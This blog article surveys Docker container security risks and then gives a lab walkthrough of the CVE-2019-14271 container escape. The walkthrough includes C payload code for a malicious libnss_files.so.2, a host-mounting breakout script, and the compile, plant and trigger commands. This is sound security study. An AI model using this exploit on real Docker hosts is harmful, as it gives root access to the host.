Container Security Risk and Container Escape Vulnerability Practice

Blog address of this article: https://security.blog.csdn.net/article/details/128966455

1. The security risks of Docker

1.1. Risks of Docker images

Unsafe third-party components : The user's own code depends on several open source components, and these open source components themselves have complex dependency trees, and even the final packaged business image contains open source components that are completely unused. As a result, many developers may not know how many and which components are included in their images. The more components included, the more possible vulnerabilities, and the introduction of a large number of third-party components also introduces a large number of risks.

Malicious images : There may be some malicious images in some public image repositories. If these images are used or used as base images, there will be corresponding risks.

Sensitive information leakage : For the convenience of development and debugging, developers may directly write sensitive information such as database passwords, certificates, and private keys into the code, or store them in the form of configuration files. When building a mirror, these sensitive contents are packaged into the mirror and even uploaded to the public mirror warehouse, resulting in the leakage of sensitive data.

1.2. Risks of Docker containers

Security vulnerabilities : The container application code also has security vulnerabilities such as SQL injection and XSS. By default, the container is connected to the subnet provided by the docker0 bridge. If port mapping is configured at startup, the container can provide services externally. In this case, there is a possibility that these security holes can be exploited by external attackers.

Unrestricted resource sharing : By default, Docker does not limit the resource usage of containers. In other words, the container started with the default configuration can theoretically use the host's CPU, memory, hard disk and other resources indefinitely. If the container uses too many resources, it will affect the host and other containers on the host, and even form a resource exhaustion attack.

Isolation risk : Insecure configuration and mounting may also break the isolation of the container, leading to security risks.

1.3. Other risks

Risks of the container network : Although the root user in the container has many permissions disabled by Docker (Capabilities mechanism), it still has the CAP_NET_RAW permission and has the ability to construct and send ICMP, ARP and other packets. Therefore, man-in-the-middle attacks such as ARP spoofing and DNS hijacking may occur in the container network.

Risk of management interface : The Docker daemon mainly listens to two types of sockets: UNIX socket and TCP socket. If the interface is not configured properly, the attacker may use the corresponding authority to escape the container and control the target host.

Risk of Software Vulnerabilities : Vulnerabilities exist in any software.

1.4. Container escape

Container escape caused by insecure configuration : Users can adjust the constraints by modifying the container environment configuration or specifying parameters when running the container. If the user sets some dangerous configuration parameters for the container, it provides a certain degree of escape possibility for the attacker sex.

Container escape caused by unsafe mounting : In order to facilitate data exchange between the host and the virtual machine, almost all mainstream virtual machine solutions provide the function of mounting the host directory to the virtual machine. The same goes for containers. However, mounting sensitive files or directories on the host into containers, especially those that are not fully controlled, often brings security issues.

Container escape caused by related program vulnerabilities : The related program vulnerabilities here refer to the vulnerabilities in the server and client programs that participate in the container ecosystem.

Container escape caused by kernel vulnerabilities : From the perspective of the operating system, a container process is just a process that is restricted by various security mechanisms. Therefore, from the perspective of both attack and defense, container escape follows the traditional privilege escalation process. Attackers can use this feature to expand the idea of ​​​​container escape. Once a new kernel vulnerability occurs, they can consider whether it can be used for container escape.

2. Vulnerability practice of loading untrusted dynamic link library (CVE-2019-14271)

2.1. Background

In 19.03.x and some unofficial versions of Docker, the docker-tar component that the docker cp command depends on will load the nsswitch dynamic link library inside the container, but it is not containerized itself. Attackers can hijack the nsswitch inside the container The dynamic link library is used to implement code injection into the host process and obtain the code execution capability of the root authority on the host.

The core problem of this vulnerability is that the high-privilege process itself is not containerized, but loads an uncontrollable dynamic link library inside the container. Once the attacker controls the container, he can execute arbitrary code with root privileges on the host machine by modifying the dynamic link library in the container.

2.2. Preparations

1. Install the Ubuntu-18 operating system, this will not be elaborated

2. Before installing Docker:

# 添加索引
sudo apt update
sudo apt install apt-transport-https ca-certificates curl gnupg-agent software-properties-common

# 导入源仓库的GPG key
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -

# 添加Docker APT软件源
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"

# 查看docker版本
apt list -a docker-ce

# 安装指定版本
apt install docker-ce=5:19.03.3~3-0~ubuntu-bionic docker-ce-cli=5:19.03.3~3-0~ubuntu-bionic containerd.io

3. Add Docker source:

cd /etc/docker
vim daemon.json
--------------------------------------------------------------------------------------------------
{
    
    
    "registry-mirrors" : [
    "https://registry.docker-cn.com",
    "http://hub-mirror.c.163.com",
    "https://docker.mirrors.ustc.edu.cn",
    "https://cr.console.aliyun.com",
    "https://mirror.ccs.tencentyun.com"
  ]
}
--------------------------------------------------------------------------------------------------

# 重启Docker让服务生效
systemctl daemon-reload
systemctl restart docker.service

4. Install M4:

wget https://ftp.gnu.org/gnu/m4/m4-1.4.19.tar.gz
tar -zxvf m4-1.4.19.tar.gz
cd m4-1.4.19
./configure
make
make install

5. Install bison:

wget http://ftp.gnu.org/gnu/bison/bison-3.8.2.tar.gz
tar -zxvf bison-3.8.2.tar.gz
cd ../bison-3.8.2
make
make install
ln -s /usr/bin/bison /usr/local/bin/bison

2.3. Install the target machine environment

1. Installation environment

git clone https://github.com/Metarget/metarget.git
cd metarget/
pip3 install -r requirements.txt

2. Install the vulnerable Docker

./metarget cnv install cve-2019-14271

If no error is reported, the installation is successful, as shown below:

insert image description here

2.4. Determine the target

Run a container:

docker run -itd --name=14271 ubuntu bash

Get the absolute path of the container and monitor it:

insert image description here

As can be seen from the above figure, the returned workdir data is:

workdir=/var/lib/docker/overlay2/7a25294970ebd49a4f3b319412445195bb788b9a8a408ff01b5e2ca056814a08/work
# 那么容器的根目录在宿主机上的绝对路径为:
/var/lib/docker/overlay2/7a25294970ebd49a4f3b319412445195bb788b9a8a408ff01b5e2ca056814a08/merged

Start another terminal and use the inotifywait tool to monitor events in the lib directory of the container file system on the host:

apt install inotify-tools
inotifywait -mr /var/lib/docker/overlay2/7a25294970ebd49a4f3b319412445195bb788b9a8a408ff01b5e2ca056814a08/merged/lib

insert image description here
Execute the docker cp command:

docker cp 14271:/etc/passwd ./

At this point, you can see the output of inotifywait on the monitoring terminal:

insert image description here

It can be seen that in this copy operation, docker-tar loaded libnss_files.so.2. Next, we target libnss_files.so.2 and construct a malicious dynamic link library to replace it.

2.5. Building a dynamic link library

Since libnss_files.so.2 is in Glibc, you need to download and decompress the Glibc library first:

wget https://ftp.gnu.org/gnu/glibc/glibc-2.27.tar.bz2
tar -vxjf glibc-2.27.tar.bz2

Comment out a line of warning settings in the glibc-2.27/Makeconfig file to avoid compilation failure after adding malicious payloads (line 823):

vim glibc-2.27/Makeconfig
---------------------------------------------------------------------------
# gccwarn-c = -Wstrict-prototypes -Wold-style-definition

Add a malicious payload to any source code file in the glibc-2.27/nss/nss_files/ directory, write the truly threatening operation into the /breakout script file in the container, and let the payload in the dynamic link library execute the /breakout script file. .

payload code:

//容器内部原始libnss_files.so.2文件的备份位置
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
//恶意libnss_files.so.2的位置
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
//带有constructor属性的函数会在动态链接库被加载时自动执行
__attribute__ ((constructor)) void run_at_link(void) {
    
    
    char * argv_break[2];
    //判断当前是否是容器外的高权限进程(也就是docker-tar)
    //如果是容器内进程,则不做任何操作
    if (!is_priviliged())
    return;
    //攻击只需要执行一次即可
    //用备份的原始libnss_files.so.2文件替换恶意libnss_files.so.2文件
    //避免后续的docker cp操作持续加载恶意libnss_files.so.2文件
    rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
    //以docker-tar进程的身份创建新进程,执行容器内/breakout脚本
    if (!fork()) {
    
    
        //Child runs breakout
        argv_break[0] = strdup("/breakout");
        argv_break[1] = NULL;
        execve("/breakout", argv_break, NULL);
    }
    else
        wait(NULL); //Wait for child
    return;
}

When the malicious libnss_files.so.2 file is loaded, it will first determine whether the current loading process is a docker-tar process, and if so, execute the /breakout script as the current process. Since docker-tar has executed the chroot command, the /breakout path points to the script in the root directory of the container, but since docker-tar does not isolate other namespace levels, /breakout will be docker-tar's own Root privileges are executed within the host namespace.

Execute compilation:

export LIBRARY_PATH=/usr/lib/x86_64-linux-gnu/
mkdir glibc-build
cd glibc-build
# --disable-werror  避免高版本gcc把警告当成错误
# --disable-profile  不要碰配置信息
../glibc-2.27/configure --prefix=/usr/local/glibc-2.27  --disable-profile --disable-werror
# -i是为了忽略错误
make -i

After compiling, glibc-build/nss/libnss_files.so is the malicious dynamic link library file we need.

2.6, to achieve escape

Now, we have the malicious DLL file libnss_files.so. In a vulnerable Docker environment, if the user executes docker cp, once the background docker-tar process loads the malicious file libnss_files.so after executing the chroot command, the /breakout script in the container will be executed as docker-tar .

Since docker-tar has switched the root directory, but has not yet joined the container namespace, we consider performing the mount operation in /breakout, and docker-tar mounts the host root directory to the /host_fs path in the container—— In this way, we have achieved container escape at the file system level.

(Host) Create a breakout script file:

vim breakout
----------------------------------------------------------------------------------------------------
#!/bin/bash
# /breakout的内容
# 首先确保容器内/host_fs路径空闲可用
umount /host_fs && rm -rf /host_fs
mkdir /host_fs
# 挂载宿主机的procfs伪文件系统
mount -t proc none /proc
# 挂载宿主机根目录到/host_fs
cd /proc/1/root
mount --bind . /host_fs

Create a container:

docker run -itd --name=victim ubuntu

Put the breakout script into the root directory of the victim container:

docker cp breakout victim:/

(Host) Find the library file pointed to by the libnss_files.so.2 symbolic link:

运行:
readlink -f /home/ubuntu/glibc-build/nss/libnss_files.so.2
返回:
/usr/lib/x86_64-linux-gnu/libnss_files.so
(该文件为链接文件,需要继续溯源)
-----------------------------------------------------------------------------------------------------
运行:
readlink -f /usr/lib/x86_64-linux-gnu/libnss_files.so
返回:
/lib/x86_64-linux-gnu/libnss_files.so.2
(该文件为链接文件,需要继续溯源)
-----------------------------------------------------------------------------------------------------
运行:
readlink -f /lib/x86_64-linux-gnu/libnss_files.so.2
返回:
/lib/x86_64-linux-gnu/libnss_files-2.27.so
(该文件为真实文件)

(Host) Move the echoed file (/lib/x86_64-linux-gnu/libnss_files-2.27.so) to the root directory of the container and rename it:

# 复制到容器根目录
docker cp /lib/x86_64-linux-gnu/libnss_files-2.27.so victim:/
# 进入容器
docker exec -it victim bash
# 重命名文件
mv libnss_files-2.27.so original_libnss_files.so.2

Put the malicious file generated after compilation into libnss_files.so.2 and place it in the /lib/x86_64-linux-gnu directory in the container:

# 重命名
mv libnss_files.so libnss_files.so.2
# 移动
docker cp libnss_files.so.2 victim:/lib/x86_64-linux-gnu/

Here we only use it for verification, so we can also directly import the EXP file of the previous open source target machine metatarget, the location is as follows:

metarget/writeups_cnv/docker-cve-2019-14271/exp/libnss_files.so.2

Simulate the execution of docker cp operation:

docker cp victim:/etc/passwd ./

After execution, the vulnerability is triggered, and we enter the container for verification:

# 进入容器
docker exec -it victim bash

# 容器内部已经可以看到挂载的/host_fs
cat /host_fs/etc/hostname

It can be seen that the container escape has been realized, and the hostname of the host is displayed:

insert image description here

Guess you like

Origin blog.csdn.net/wutianxu123/article/details/128966455